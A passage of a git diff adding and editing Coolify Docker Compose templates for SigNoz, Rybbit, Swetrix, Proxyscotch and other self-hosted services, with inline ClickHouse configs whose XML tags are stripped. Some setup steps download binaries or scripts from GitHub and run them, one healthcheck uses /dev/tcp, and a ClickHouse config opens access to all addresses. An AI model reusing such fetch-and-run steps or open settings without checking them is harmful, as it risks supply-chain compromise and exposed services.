MARIADB_COLLATE=utf8mb4_unicode_ci volumes: - mariadb-data:/var/lib/mysql + healthcheck: + test: + - CMD-SHELL + - bash -c '00" + content: "warningtrue" - type: bind source: ./clickhouse/clickhouse-user-config.xml target: /etc/clickhouse-server/users.d/logging.xml read_only: true - content: 'warningtrue' + content: '00' ulimits: nofile: soft: 262144 diff --git a/templates/compose/proxyscotch.yaml b/templates/compose/proxyscotch.yaml new file mode 100644 index 000000000..70342135c --- /dev/null +++ b/templates/compose/proxyscotch.yaml @@ -0,0 +1,15 @@ +# documentation: https://github.com/hoppscotch/proxyscotch +# slogan: A simple proxy server created for https://hoppscotch.io - CORS proxy +# tags: proxy,hoppscotch,cors +# logo: svgs/hoppscotch.png +# port: 9159 + +services: + proxyscotch: + image: hoppscotch/proxyscotch:v0.1.4 + environment: + - SERVICE_URL_PROXYSCOTCH_9159 + - PROXYSCOTCH_TOKEN=${SERVICE_PASSWORD_TOKEN} + - PROXYSCOTCH_ALLOWED_ORIGINS=${ALLOWED_ORIGINS:-*} + - PROXYSCOTCH_BANNED_OUTPUTS=${BANNED_OUTPUTS} + - PROXYSCOTCH_BANNED_DESTS=${BANNED_DESTS} diff --git a/templates/compose/rybbit.yaml b/templates/compose/rybbit.yaml new file mode 100644 index 000000000..3c8f7564c --- /dev/null +++ b/templates/compose/rybbit.yaml @@ -0,0 +1,133 @@ +# documentation: https://rybbit.io/docs +# slogan: Open-source, privacy-first web analytics. +# tags: analytics,web,privacy,self-hosted,clickhouse,postgres +# logo: svgs/rybbit.svg +# port: 3002 + +services: + rybbit: + image: 'ghcr.io/rybbit-io/rybbit-client:v1.6.1' + environment: + - SERVICE_URL_RYBBIT_3002 + - NODE_ENV=production + - 'NEXT_PUBLIC_BACKEND_URL=${SERVICE_URL_RYBBIT}' + - 'NEXT_PUBLIC_DISABLE_SIGNUP=${DISABLE_SIGNUP:-false}' + depends_on: + - rybbit_backend + healthcheck: + test: ["CMD-SHELL", "nc -z 127.0.0.1 3002"] + interval: 30s + timeout: 10s + retries: 3 + start_period: 10s + + rybbit_backend: + image: 'ghcr.io/rybbit-io/rybbit-backend:v1.6.1' + environment: + - NODE_ENV=production + - TRUST_PROXY=true + - 'BASE_URL=${SERVICE_URL_RYBBIT}' + # --- Coolify-Managed Secrets --- + - 'CLICKHOUSE_PASSWORD=${SERVICE_PASSWORD_CLICKHOUSE}' + - 'POSTGRES_PASSWORD=${SERVICE_PASSWORD_POSTGRES}' + - 'BETTER_AUTH_SECRET=${SERVICE_BASE64_64_BACKEND}' + # --- User Settings --- + - 'DISABLE_SIGNUP=${DISABLE_SIGNUP:-false}' + - 'DISABLE_TELEMETRY=${DISABLE_TELEMETRY:-true}' + # --- Internal Config --- + - 'CLICKHOUSE_HOST=http://rybbit_clickhouse:8123' + - 'CLICKHOUSE_USER=${CLICKHOUSE_USER:-default}' + - 'CLICKHOUSE_DB=${CLICKHOUSE_DB:-analytics}' + - POSTGRES_HOST=rybbit_postgres + - POSTGRES_PORT=5432 + - 'POSTGRES_DB=${POSTGRES_DB:-analytics}' + - 'POSTGRES_USER=${POSTGRES_USER:-frog}' + depends_on: + rybbit_clickhouse: + condition: service_healthy + rybbit_postgres: + condition: service_healthy + healthcheck: + test: ["CMD", "wget", "--no-verbose", "--tries=1", "--spider", "http://127.0.0.1:3001/api/health"] + interval: 30s + timeout: 10s + retries: 3 + start_period: 10s + + rybbit_postgres: + image: 'postgres:17.4' + environment: + - 'POSTGRES_DB=${POSTGRES_DB:-analytics}' + - 'POSTGRES_USER=${POSTGRES_USER:-frog}' + - 'POSTGRES_PASSWORD=${SERVICE_PASSWORD_POSTGRES}' + volumes: + - 'postgres_data:/var/lib/postgresql/data' + healthcheck: + test: ["CMD-SHELL", "pg_isready -U $${POSTGRES_USER} -d $${POSTGRES_DB}"] + interval: 30s + timeout: 10s + retries: 3 + + rybbit_clickhouse: + image: 'clickhouse/clickhouse-server:25.4.2' + environment: + - 'CLICKHOUSE_DB=${CLICKHOUSE_DB:-analytics}' + - 'CLICKHOUSE_USER=${CLICKHOUSE_USER:-default}' + - 'CLICKHOUSE_PASSWORD=${SERVICE_PASSWORD_CLICKHOUSE}' + healthcheck: + test: ["CMD", "wget", "--no-verbose", "--tries=1", "--spider", "http://localhost:8123/ping"] + interval: 30s + timeout: 10s + retries: 3 + start_period: 10s + volumes: + - 'clickhouse_data:/var/lib/clickhouse' + - type: bind + source: ./clickhouse_config/enable_json.xml + target: /etc/clickhouse-server/config.d/enable_json.xml + content: | + + + 1 + + + - type: bind + source: ./clickhouse_config/logging_rules.xml + target: /etc/clickhouse-server/config.d/logging_rules.xml + content: | + + + warning + true + + + + + + + + + + + + + - type: bind + source: ./clickhouse_config/network.xml + target: /etc/clickhouse-server/config.d/network.xml + content: | + + 0.0.0.0 + + - type: bind + source: ./clickhouse_config/user_logging.xml + target: /etc/clickhouse-server/config.d/user_logging.xml + content: | + + + + 0 + 0 + 0 + + + \ No newline at end of file diff --git a/templates/compose/shlink.yaml b/templates/compose/shlink.yaml index 141634850..6d1226970 100644 --- a/templates/compose/shlink.yaml +++ b/templates/compose/shlink.yaml @@ -9,7 +9,7 @@ services: image: shlinkio/shlink:stable environment: - SERVICE_URL_SHLINK_8080 - - DEFAULT_DOMAIN=${SERVICE_URL_SHLINK} + - DEFAULT_DOMAIN=${SERVICE_FQDN_SHLINK} - IS_HTTPS_ENABLED=false - INITIAL_API_KEY=${SERVICE_BASE64_SHLINKAPIKEY} volumes: diff --git a/templates/compose/signoz.yaml b/templates/compose/signoz.yaml new file mode 100644 index 000000000..42e21790c --- /dev/null +++ b/templates/compose/signoz.yaml @@ -0,0 +1,627 @@ +# documentation: https://signoz.io/docs/introduction/ +# slogan: An observability platform native to OpenTelemetry with logs, traces and metrics. +# tags: telemetry, server, applications, interface, logs, monitoring, traces, metrics +# logo: svgs/signoz.svg +# port: 8080 + +services: + init-clickhouse: + image: clickhouse/clickhouse-server:25.5.6-alpine + command: + - bash + - -c + - | + version="v0.0.1" + node_os=$$(uname -s | tr '[:upper:]' '[:lower:]') + node_arch=$$(uname -m | sed s/aarch64/arm64/ | sed s/x86_64/amd64/) + echo "Fetching histogram-binary for $${node_os}/$${node_arch}" + cd /tmp + wget -O histogram-quantile.tar.gz "https://github.com/SigNoz/signoz/releases/download/histogram-quantile%2F$${version}/histogram-quantile_$${node_os}_$${node_arch}.tar.gz" + tar -xvzf histogram-quantile.tar.gz + mkdir -p /var/lib/clickhouse/user_scripts/histogramQuantile + mv histogram-quantile /var/lib/clickhouse/user_scripts/histogramQuantile + restart: on-failure + exclude_from_hc: true + logging: + options: + max-size: 50m + max-file: "3" + + zookeeper: + image: signoz/zookeeper:3.9.3 + user: root + healthcheck: + test: + - CMD-SHELL + - curl -s -m 2 http://localhost:8080/commands/ruok | grep error | grep null + interval: 30s + timeout: 5s + retries: 3 + logging: + options: + max-size: 50m + max-file: "3" + volumes: + - zookeeper:/bitnami/zookeeper + environment: + - ALLOW_ANONYMOUS_LOGIN=${ZOO_ALLOW_ANONYMOUS_LOGIN:-yes} + - ZOO_AUTOPURGE_INTERVAL=${ZOO_AUTOPURGE_INTERVAL:-1} + - ZOO_ENABLE_PROMETHEUS_METRICS=${ZOO_ENABLE_PROMETHEUS_METRICS:-yes} + - ZOO_PROMETHEUS_METRICS_PORT_NUMBER=${ZOO_PROMETHEUS_METRICS_PORT_NUMBER:-9141} + + clickhouse: + # addding non LTS version due to this fix https://github.com/ClickHouse/ClickHouse/commit/32caf8716352f45c1b617274c7508c86b7d1afab + image: clickhouse/clickhouse-server:25.5.6-alpine + tty: true + depends_on: + init-clickhouse: + condition: service_completed_successfully + zookeeper: + condition: service_healthy + healthcheck: + test: + - CMD + - wget + - --spider + - -q + - 0.0.0.0:8123/ping + interval: 30s + timeout: 5s + retries: 3 + ulimits: + nproc: 65535 + nofile: + soft: 262144 + hard: 262144 + logging: + options: + max-size: 50m + max-file: "3" + environment: + - "CLICKHOUSE_SKIP_USER_SETUP=1" + volumes: + - type: volume + source: clickhouse + target: /var/lib/clickhouse/ + - type: bind + source: ./clickhouse/custom-function.xml + target: /etc/clickhouse-server/custom-function.xml + content: | + + + executable + histogramQuantile + Float64 + + Array(Float64) + buckets + + + Array(Float64) + counts + + + Float64 + quantile + + CSV + ./histogramQuantile + + + - type: bind + source: ./clickhouse/cluster.xml + target: /etc/clickhouse-server/config.d/cluster.xml + content: | + + + + + + zookeeper + 2181 + + + + + + + + + + + + + + + clickhouse + 9000 + + + + + + + + + - type: bind + source: ./clickhouse/users.xml + target: /etc/clickhouse-server/users.xml + content: | + + + + + + + + + + 10000000000 + + + random + + + + + 1 + + + + + + + + + + + + + ::/0 + + + + default + + + default + + + + + + + + + + + + + + 3600 + + + 0 + 0 + 0 + 0 + 0 + + + + + - type: bind + source: ./clickhouse/config.xml + target: /etc/clickhouse-server/config.xml + content: | + + + 4096 + 3 + 100 + 5368709120 + 1000 + 134217728 + 10000 + + *_dictionary.xml + *function.xml + /var/lib/clickhouse/user_scripts/ + 8123 + 9000 + 9004 + 9005 + 9009 + + information + + json + + + + 01 + example01-01-1 + + + /metrics + 9363 + true + true + true + true + + + engine MergeTree + partition by toYYYYMM(finish_date) + order by (finish_date, finish_time_us, trace_id) + + + + hide encrypt/decrypt arguments + ((?:aes_)?(?:encrypt|decrypt)(?:_mysql)?)\s*\(\s*(?:'(?:\\'|.)+'|.*?)\s*\) + \1(???) + + + + false + false + https://6f33034cfe684dd7a3ab9875e57b1c8d@o388870.ingest.sentry.io/5226277 + + + 268435456 + true + + + + + users.xml + + + + /var/lib/clickhouse/access/ + + + default + + + /clickhouse/task_queue/ddl + + + + signoz: + image: signoz/signoz:v0.97.1 + depends_on: + clickhouse: + condition: service_healthy + schema-migrator-sync: + condition: service_completed_successfully + logging: + options: + max-size: 50m + max-file: "3" + command: + - --config=/root/config/prometheus.yml + volumes: + - type: bind + source: ./prometheus.yml + target: /root/config/prometheus.yml + content: | + # my global config + global: + scrape_interval: 5s # Set the scrape interval to every 15 seconds. Default is every 1 minute. + evaluation_interval: 15s # Evaluate rules every 15 seconds. The default is every 1 minute. + # scrape_timeout is set to the global default (10s). + + # Alertmanager configuration + alerting: + alertmanagers: + - static_configs: + - targets: + - alertmanager:9093 + + # Load rules once and periodically evaluate them according to the global 'evaluation_interval'. + rule_files: [] + # - "first_rules.yml" + # - "second_rules.yml" + # - 'alerts.yml' + + # A scrape configuration containing exactly one endpoint to scrape: + # Here it's Prometheus itself. + scrape_configs: [] + + remote_read: + - url: tcp://clickhouse:9000/signoz_metrics + - type: volume + source: sqlite + target: /var/lib/signoz/ + environment: + - SERVICE_URL_SIGNOZ_8080 + - SIGNOZ_JWT_SECRET=${SERVICE_REALBASE64_JWTSECRET} + - SIGNOZ_TELEMETRYSTORE_CLICKHOUSE_DSN=tcp://clickhouse:9000 + - SIGNOZ_SQLSTORE_SQLITE_PATH=/var/lib/signoz/signoz.db + - DASHBOARDS_PATH=/root/config/dashboards + - STORAGE=clickhouse + - GODEBUG=netdns=go + - DEPLOYMENT_TYPE=docker-standalone-amd + - SIGNOZ_STATSREPORTER_ENABLED=${SIGNOZ_STATSREPORTER_ENABLED:-true} + - SIGNOZ_EMAILING_ENABLED=${SIGNOZ_EMAILING_ENABLED:-false} + - SIGNOZ_EMAILING_SMTP_ADDRESS=${SIGNOZ_EMAILING_SMTP_ADDRESS} + - SIGNOZ_EMAILING_SMTP_FROM=${SIGNOZ_EMAILING_SMTP_FROM} + - SIGNOZ_EMAILING_SMTP_AUTH_USERNAME=${SIGNOZ_EMAILING_SMTP_AUTH_USERNAME} + - SIGNOZ_EMAILING_SMTP_AUTH_PASSWORD=${SIGNOZ_EMAILING_SMTP_AUTH_PASSWORD} + - SIGNOZ_ALERTMANAGER_PROVIDER=signoz + - SIGNOZ_ALERTMANAGER_SIGNOZ_GLOBAL_SMTP__AUTH__PASSWORD=${SIGNOZ_ALERTMANAGER_SIGNOZ_GLOBAL_SMTP__AUTH__PASSWORD} + - SIGNOZ_ALERTMANAGER_SIGNOZ_GLOBAL_SMTP__AUTH__USERNAME=${SIGNOZ_ALERTMANAGER_SIGNOZ_GLOBAL_SMTP__AUTH__USERNAME} + - SIGNOZ_ALERTMANAGER_SIGNOZ_GLOBAL_SMTP__FROM=${SIGNOZ_ALERTMANAGER_SIGNOZ_GLOBAL_SMTP__FROM} + - SIGNOZ_ALERTMANAGER_SIGNOZ_GLOBAL_SMTP__SMARTHOST=${SIGNOZ_ALERTMANAGER_SIGNOZ_GLOBAL_SMTP__SMARTHOST} + - DOT_METRICS_ENABELD=true + healthcheck: + test: + - CMD + - wget + - --spider + - -q + - localhost:8080/api/v1/health + interval: 30s + timeout: 5s + retries: 3 + + otel-collector: + image: signoz/signoz-otel-collector:v0.129.7 + depends_on: + clickhouse: + condition: service_healthy + schema-migrator-sync: + condition: service_completed_successfully + signoz: + condition: service_healthy + logging: + options: + max-size: 50m + max-file: "3" + command: + - --config=/etc/otel-collector-config.yaml + - --manager-config=/etc/manager-config.yaml + - --copy-path=/var/tmp/collector-config.yaml + - --feature-gates=-pkg.translator.prometheus.NormalizeName + volumes: + - type: bind + source: ./otel-collector-config.yaml + target: /etc/otel-collector-config.yaml + content: | + receivers: + otlp: + protocols: + grpc: + endpoint: 0.0.0.0:4317 + http: + endpoint: 0.0.0.0:4318 + prometheus: + config: + global: + scrape_interval: 60s + scrape_configs: + - job_name: otel-collector + static_configs: + - targets: + - localhost:8888 + labels: + job_name: otel-collector + processors: + batch: + send_batch_size: 10000 + send_batch_max_size: 11000 + timeout: 10s + resourcedetection: + # Using OTEL_RESOURCE_ATTRIBUTES envvar, env detector adds custom labels. + detectors: [env, system] + timeout: 2s + signozspanmetrics/delta: + metrics_exporter: signozclickhousemetrics + metrics_flush_interval: 60s + latency_histogram_buckets: [100us, 1ms, 2ms, 6ms, 10ms, 50ms, 100ms, 250ms, 500ms, 1000ms, 1400ms, 2000ms, 5s, 10s, 20s, 40s, 60s ] + dimensions_cache_size: 100000 + aggregation_temporality: AGGREGATION_TEMPORALITY_DELTA + enable_exp_histogram: true + dimensions: + - name: service.namespace + default: default + - name: deployment.environment + default: default + # This is added to ensure the uniqueness of the timeseries + # Otherwise, identical timeseries produced by multiple replicas of + # collectors result in incorrect APM metrics + - name: signoz.collector.id + - name: service.version + - name: browser.platform + - name: browser.mobile + - name: k8s.cluster.name + - name: k8s.node.name + - name: k8s.namespace.name + - name: host.name + - name: host.type + - name: container.name + extensions: + health_check: + endpoint: 0.0.0.0:13133 + pprof: + endpoint: 0.0.0.0:1777 + exporters: + clickhousetraces: + datasource: tcp://clickhouse:9000/signoz_traces + low_cardinal_exception_grouping: ${env:LOW_CARDINAL_EXCEPTION_GROUPING} + use_new_schema: true + signozclickhousemetrics: + dsn: tcp://clickhouse:9000/signoz_metrics + clickhouselogsexporter: + dsn: tcp://clickhouse:9000/signoz_logs + timeout: 10s + use_new_schema: true + service: + telemetry: + logs: + encoding: json + extensions: + - health_check + - pprof + pipelines: + traces: + receivers: [otlp] + processors: [signozspanmetrics/delta, batch] + exporters: [clickhousetraces] + metrics: + receivers: [otlp] + processors: [batch] + exporters: [signozclickhousemetrics] + metrics/prometheus: + receivers: [prometheus] + processors: [batch] + exporters: [signozclickhousemetrics] + logs: + receivers: [otlp] + processors: [batch] + exporters: [clickhouselogsexporter] + - type: bind + source: ./otel-collector-opamp-config.yaml + target: /etc/manager-config.yaml + content: | + server_endpoint: ws://signoz:4320/v1/opamp + environment: + - SERVICE_URL_OTELCOLLECTORHTTP_4318 + - OTEL_RESOURCE_ATTRIBUTES=host.name=signoz-host,os.type=linux + - LOW_CARDINAL_EXCEPTION_GROUPING=false + healthcheck: + test: bash -c "exec 6<> /dev/tcp/localhost/13133" + interval: 30s + timeout: 5s + retries: 3 + + schema-migrator-sync: + image: signoz/signoz-schema-migrator:v0.129.7 + command: + - sync + - --dsn=tcp://clickhouse:9000 + - --up= + depends_on: + clickhouse: + condition: service_healthy + restart: on-failure + exclude_from_hc: true + logging: + options: + max-size: 50m + max-file: "3" + + schema-migrator-async: + image: signoz/signoz-schema-migrator:v0.129.7 + depends_on: + clickhouse: + condition: service_healthy + schema-migrator-sync: + condition: service_completed_successfully + restart: on-failure + exclude_from_hc: true + logging: + options: + max-size: 50m + max-file: "3" + command: + - async + - --dsn=tcp://clickhouse:9000 + - --up= diff --git a/templates/compose/swetrix.yaml b/templates/compose/swetrix.yaml new file mode 100644 index 000000000..850f2d00b --- /dev/null +++ b/templates/compose/swetrix.yaml @@ -0,0 +1,171 @@ +# documentation: https://docs.swetrix.com/selfhosting/how-to +# slogan: Privacy-friendly and cookieless European web analytics alternative to Google Analytics. +# category: analytics +# tags: analytics,privacy,monitoring,open-source,clickhouse,redis +# logo: svgs/swetrix.svg +# port: 3000 + +services: + swetrix: + image: swetrix/swetrix-fe:v4.0.5 + depends_on: + - swetrix-api + environment: + - SERVICE_URL_SWETRIX_3000 + - API_URL=$SERVICE_URL_SWETRIXAPI + healthcheck: + test: + - CMD-SHELL + - wget --no-verbose --tries=1 --spider http://localhost:3000/ping || exit 1 + timeout: 5s + retries: 10 + interval: 30s + start_period: 15s + + swetrix-api: + image: swetrix/swetrix-api:v4.0.5 + environment: + # Required + - SECRET_KEY_BASE=$SERVICE_BASE64_64_SECRETKEYBASE + - SERVICE_URL_SWETRIXAPI + + # Optional + - DISABLE_REGISTRATION=${DISABLE_REGISTRATION:-false} + - IP_GEOLOCATION_DB_PATH=${IP_GEOLOCATION_DB_PATH:-} + - DEBUG_MODE=${DEBUG_MODE:-false} + - CLOUDFLARE_PROXY_ENABLED=${CLOUDFLARE_PROXY_ENABLED:-false} + + # SMTP (optional) + - SMTP_HOST=${SMTP_HOST:-} + - SMTP_PORT=${SMTP_PORT:-} + - SMTP_USER=${SMTP_USER:-} + - SMTP_PASSWORD=${SMTP_PASSWORD:-} + - FROM_EMAIL=${FROM_EMAIL:-} + - SMTP_MOCK=${SMTP_MOCK:-false} + + # OIDC (optional) + - OIDC_ENABLED=${OIDC_ENABLED:-false} + - OIDC_ONLY_AUTH=${OIDC_ONLY_AUTH:-false} + - OIDC_DISCOVERY_URL=${OIDC_DISCOVERY_URL:-} + - OIDC_CLIENT_ID=${OIDC_CLIENT_ID:-} + - OIDC_CLIENT_SECRET=${OIDC_CLIENT_SECRET:-} + + # Required service endpoints + - REDIS_HOST=redis + - CLICKHOUSE_HOST=http://clickhouse + - CLICKHOUSE_PASSWORD=$SERVICE_PASSWORD_CLICKHOUSE + - REDIS_PASSWORD=$SERVICE_PASSWORD_REDIS + depends_on: + redis: + condition: service_healthy + clickhouse: + condition: service_healthy + healthcheck: + test: + - CMD-SHELL + - wget --no-verbose --tries=1 --spider http://localhost:5005/ping || exit 1 + timeout: 5s + retries: 10 + interval: 30s + start_period: 15s + + redis: + image: redis:8.2-alpine + environment: + - REDIS_PORT=${REDIS_PORT:-6379} + - REDIS_USER=${REDIS_USER:-default} + - REDIS_PASSWORD=$SERVICE_PASSWORD_REDIS + healthcheck: + test: + - CMD-SHELL + - redis-cli ping | grep PONG + timeout: 5s + retries: 10 + interval: 30s + start_period: 1m + + clickhouse: + image: clickhouse/clickhouse-server:24.10-alpine + environment: + - CLICKHOUSE_DATABASE=${CLICKHOUSE_DATABASE:-analytics} + - CLICKHOUSE_USER=${CLICKHOUSE_USER:-default} + - CLICKHOUSE_PORT=${CLICKHOUSE_PORT:-8123} + - CLICKHOUSE_PASSWORD=$SERVICE_PASSWORD_CLICKHOUSE + healthcheck: + test: + - CMD-SHELL + - wget --no-verbose --tries=1 -O - http://127.0.0.1:8123/ping || exit 1 + timeout: 5s + retries: 10 + interval: 30s + start_period: 1m + cap_add: + - SYS_NICE + volumes: + # Persistent storage for ClickHouse + - swetrix-events-data:/var/lib/clickhouse + + # Disable logging + - type: bind + source: ./disable-user-logging.xml + target: /etc/clickhouse-server/users.d/disable-user-logging.xml + read_only: true + content: | + + + + 0 + 0 + + + + - type: bind + source: ./reduce-logs.xml + target: /etc/clickhouse-server/config.d/reduce-logs.xml + read_only: true + content: | + + + warning + true + + + + + + + + + + + + # Reduce RAM usage + - type: bind + source: ./preserve-ram-config.xml + target: /etc/clickhouse-server/config.d/preserve-ram-config.xml + read_only: true + content: | + + 536870912 + 1 + + - type: bind + source: ./preserve-ram-user.xml + target: /etc/clickhouse-server/users.d/preserve-ram-user.xml + read_only: true + content: | + + + + 2048 + 1 + 0 + 0 + + + + + ulimits: + nofile: + soft: 262144 + hard: 262144 diff --git a/templates/compose/traccar.yaml b/templates/compose/traccar.yaml index 1a4e1724c..0b914d6e2 100644 --- a/templates/compose/traccar.yaml +++ b/templates/compose/traccar.yaml @@ -30,7 +30,7 @@ services: postgres: condition: service_healthy healthcheck: - test: ["CMD", "wget", "--no-verbose", "--tries=1", "--spider", "http://127.0.0.1:8082/ping"] + test: ["CMD", "wget", "--no-verbose", "--tries=1", "--spider", "http://127.0.0.1:8082"] interval: 30s timeout: 10s retries: 3 diff --git a/templates/service-templates-latest.json b/templates/service-templates-latest.json index bee653063..89f5819b5 100644 --- a/templates/service-templates-latest.json +++ b/templates/service-templates-latest.json @@ -219,7 +219,7 @@ "bluesky-pds": { "documentation": "https://github.com/bluesky-social/pds?utm_source=coolify.io", "slogan": "Bluesky PDS (Personal Data Server)", - "compose": "c2VydmljZXM6CiAgcGRzOgogICAgaW1hZ2U6ICdnaGNyLmlvL2JsdWVza3ktc29jaWFsL3BkczpsYXRlc3QnCiAgICB2b2x1bWVzOgogICAgICAtICcuL3Bkcy1kYXRhOi9wZHMnCiAgICBlbnZpcm9ubWVudDoKICAgICAgLSBTRVJWSUNFX1VSTF9QRFNfMzAwMAogICAgICAtICdQRFNfSE9TVE5BTUU9JHtTRVJWSUNFX1VSTF9QRFN9JwogICAgICAtICdQRFNfSldUX1NFQ1JFVD0ke1NFUlZJQ0VfUEFTU1dPUkRfSldUX1NFQ1JFVH0nCiAgICAgIC0gJ1BEU19BRE1JTl9QQVNTV09SRD0ke1NFUlZJQ0VfUEFTU1dPUkRfQURNSU59JwogICAgICAtICdQRFNfQURNSU5fRU1BSUw9JHtTRVJWSUNFX0VNQUlMX0FETUlOfScKICAgICAgLSAnUERTX1BMQ19ST1RBVElPTl9LRVlfSzI1Nl9QUklWQVRFX0tFWV9IRVg9JHtQRFNfUExDX1JPVEFUSU9OX0tFWV9LMjU2X1BSSVZBVEVfS0VZX0hFWH0nCiAgICAgIC0gJ1BEU19EQVRBX0RJUkVDVE9SWT0ke1BEU19EQVRBX0RJUkVDVE9SWTotL3Bkc30nCiAgICAgIC0gJ1BEU19CTE9CU1RPUkVfRElTS19MT0NBVElPTj0ke1BEU19EQVRBX0RJUkVDVE9SWTotL3Bkc30vYmxvY2tzJwogICAgICAtICdQRFNfQkxPQl9VUExPQURfTElNSVQ9JHtQRFNfQkxPQl9VUExPQURfTElNSVQ6LTUyNDI4ODAwfScKICAgICAgLSAnUERTX0RJRF9QTENfVVJMPSR7UERTX0RJRF9QTENfVVJMOi1odHRwczovL3BsYy5kaXJlY3Rvcnl9JwogICAgICAtICdQRFNfQlNLWV9BUFBfVklFV19VUkw9JHtQRFNfQlNLWV9BUFBfVklFV19VUkw6LWh0dHBzOi8vYXBpLmJza3kuYXBwfScKICAgICAgLSAnUERTX0JTS1lfQVBQX1ZJRVdfRElEPSR7UERTX0JTS1lfQVBQX1ZJRVdfRElEOi1kaWQ6d2ViOmFwaS5ic2t5LmFwcH0nCiAgICAgIC0gJ1BEU19SRVBPUlRfU0VSVklDRV9VUkw9JHtQRFNfUkVQT1JUX1NFUlZJQ0VfVVJMOi1odHRwczovL21vZC5ic2t5LmFwcC94cnBjL2NvbS5hdHByb3RvLm1vZGVyYXRpb24uY3JlYXRlUmVwb3J0fScKICAgICAgLSAnUERTX1JFUE9SVF9TRVJWSUNFX0RJRD0ke1BEU19SRVBPUlRfU0VSVklDRV9ESUQ6LWRpZDpwbGM6YXI3YzRieTQ2cWpkeWRoZGV2dnJuZGFjfScKICAgICAgLSAnUERTX0NSQVdMRVJTPSR7UERTX0NSQVdMRVJTOi1odHRwczovL2Jza3kubmV0d29ya30nCiAgICAgIC0gJ0xPR19FTkFCTEVEPSR7TE9HX0VOQUJMRUQ6LXRydWV9JwogICAgY29tbWFuZDogInNoIC1jICdcbiAgZWNobyBcIkluc3RhbGxpbmcgY3VybCwgYmFzaCwgYW5kIHBkc2FkbWluLi4uXCJcbiAgYXBrIGFkZCAtLW5vLWNhY2hlIGN1cmwgYmFzaCAmJiBcXFxuICBjdXJsIC1vIC91c3IvbG9jYWwvYmluL3Bkc2FkbWluLnNoIGh0dHBzOi8vcmF3LmdpdGh1YnVzZXJjb250ZW50LmNvbS9ibHVlc2t5LXNvY2lhbC9wZHMvbWFpbi9wZHNhZG1pbi5zaCAmJiBcXFxuICBjaG1vZCAreCAvdXNyL2xvY2FsL2Jpbi9wZHNhZG1pbi5zaCAmJiBcXFxuICBsbiAtc2YgL3Vzci9sb2NhbC9iaW4vcGRzYWRtaW4uc2ggL3Vzci9sb2NhbC9iaW4vcGRzYWRtaW5cblxuICBlY2hvIFwiR2VuZXJhdGluZyAvcGRzL3Bkcy5lbnYuLi5cIlxuICBwcmludGYgXCIlc1xcblwiIFxcXG4gIFwiU0VSVklDRV9GUUROX1BEU18zMDAwPSQke1NFUlZJQ0VfRlFETl9QRFNfMzAwMH1cIiBcXFxuICBcIlBEU19IT1NUTkFNRT0kJHtQRFNfSE9TVE5BTUV9XCIgXFxcbiAgXCJQRFNfSldUX1NFQ1JFVD0kJHtQRFNfSldUX1NFQ1JFVH1cIiBcXFxuICBcIlBEU19BRE1JTl9QQVNTV09SRD0kJHtQRFNfQURNSU5fUEFTU1dPUkR9XCIgXFxcbiAgXCJQRFNfQURNSU5fRU1BSUw9JCR7UERTX0FETUlOX0VNQUlMfVwiIFxcXG4gIFwiUERTX1BMQ19ST1RBVElPTl9LRVlfSzI1Nl9QUklWQVRFX0tFWV9IRVg9JCR7UERTX1BMQ19ST1RBVElPTl9LRVlfSzI1Nl9QUklWQVRFX0tFWV9IRVh9XCIgXFxcbiAgXCJQRFNfREFUQV9ESVJFQ1RPUlk9JCR7UERTX0RBVEFfRElSRUNUT1JZfVwiIFxcXG4gIFwiUERTX0JMT0JTVE9SRV9ESVNLX0xPQ0FUSU9OPSQke1BEU19EQVRBX0RJUkVDVE9SWX0vYmxvY2tzXCIgXFxcbiAgXCJQRFNfQkxPQl9VUExPQURfTElNSVQ9JCR7UERTX0JMT0JfVVBMT0FEX0xJTUlUfVwiIFxcXG4gIFwiUERTX0RJRF9QTENfVVJMPSQke1BEU19ESURfUExDX1VSTH1cIiBcXFxuICBcIlBEU19CU0tZX0FQUF9WSUVXX1VSTD0kJHtQRFNfQlNLWV9BUFBfVklFV19VUkx9XCIgXFxcbiAgXCJQRFNfQlNLWV9BUFBfVklFV19ESUQ9JCR7UERTX0JTS1lfQVBQX1ZJRVdfRElEfVwiIFxcXG4gIFwiUERTX1JFUE9SVF9TRVJWSUNFX1VSTD0kJHtQRFNfUkVQT1JUX1NFUlZJQ0VfVVJMfVwiIFxcXG4gIFwiUERTX1JFUE9SVF9TRVJWSUNFX0RJRD0kJHtQRFNfUkVQT1JUX1NFUlZJQ0VfRElEfVwiIFxcXG4gIFwiUERTX0NSQVdMRVJTPSQke1BEU19DUkFXTEVSU31cIiBcXFxuICBcIkxPR19FTkFCTEVEPSQke0xPR19FTkFCTEVEfVwiIFxcXG4gID4gL3Bkcy9wZHMuZW52XG5cbiAgZWNobyBcIkxhdW5jaGluZyBQRFMuLi5cIlxuICBleGVjIG5vZGUgLS1lbmFibGUtc291cmNlLW1hcHMgaW5kZXguanNcbidcbiIKICAgIGhlYWx0aGNoZWNrOgogICAgICB0ZXN0OgogICAgICAgIC0gQ01ECiAgICAgICAgLSB3Z2V0CiAgICAgICAgLSAnLS1zcGlkZXInCiAgICAgICAgLSAnaHR0cDovLzEyNy4wLjAuMTozMDAwL3hycGMvX2hlYWx0aCcKICAgICAgaW50ZXJ2YWw6IDJzCiAgICAgIHRpbWVvdXQ6IDEwcwogICAgICByZXRyaWVzOiAxMAo=", + "compose": "c2VydmljZXM6CiAgcGRzOgogICAgaW1hZ2U6ICdnaGNyLmlvL2JsdWVza3ktc29jaWFsL3BkczowLjQuMTgyJwogICAgdm9sdW1lczoKICAgICAgLSAncGRzLWRhdGE6L3BkcycKICAgIGVudmlyb25tZW50OgogICAgICAtIFNFUlZJQ0VfVVJMX1BEU18zMDAwCiAgICAgIC0gJ1BEU19IT1NUTkFNRT0ke1NFUlZJQ0VfRlFETl9QRFNfMzAwMH0nCiAgICAgIC0gJ1BEU19KV1RfU0VDUkVUPSR7U0VSVklDRV9IRVhfMzJfSldUU0VDUkVUfScKICAgICAgLSAnUERTX0FETUlOX1BBU1NXT1JEPSR7U0VSVklDRV9QQVNTV09SRF9BRE1JTn0nCiAgICAgIC0gJ1BEU19BRE1JTl9FTUFJTD0ke1BEU19BRE1JTl9FTUFJTH0nCiAgICAgIC0gJ1BEU19QTENfUk9UQVRJT05fS0VZX0syNTZfUFJJVkFURV9LRVlfSEVYPSR7U0VSVklDRV9IRVhfMzJfUk9UQVRJT05LRVl9JwogICAgICAtICdQRFNfREFUQV9ESVJFQ1RPUlk9JHtQRFNfREFUQV9ESVJFQ1RPUlk6LS9wZHN9JwogICAgICAtICdQRFNfQkxPQlNUT1JFX0RJU0tfTE9DQVRJT049JHtQRFNfREFUQV9ESVJFQ1RPUlk6LS9wZHN9L2Jsb2NrcycKICAgICAgLSAnUERTX0JMT0JfVVBMT0FEX0xJTUlUPSR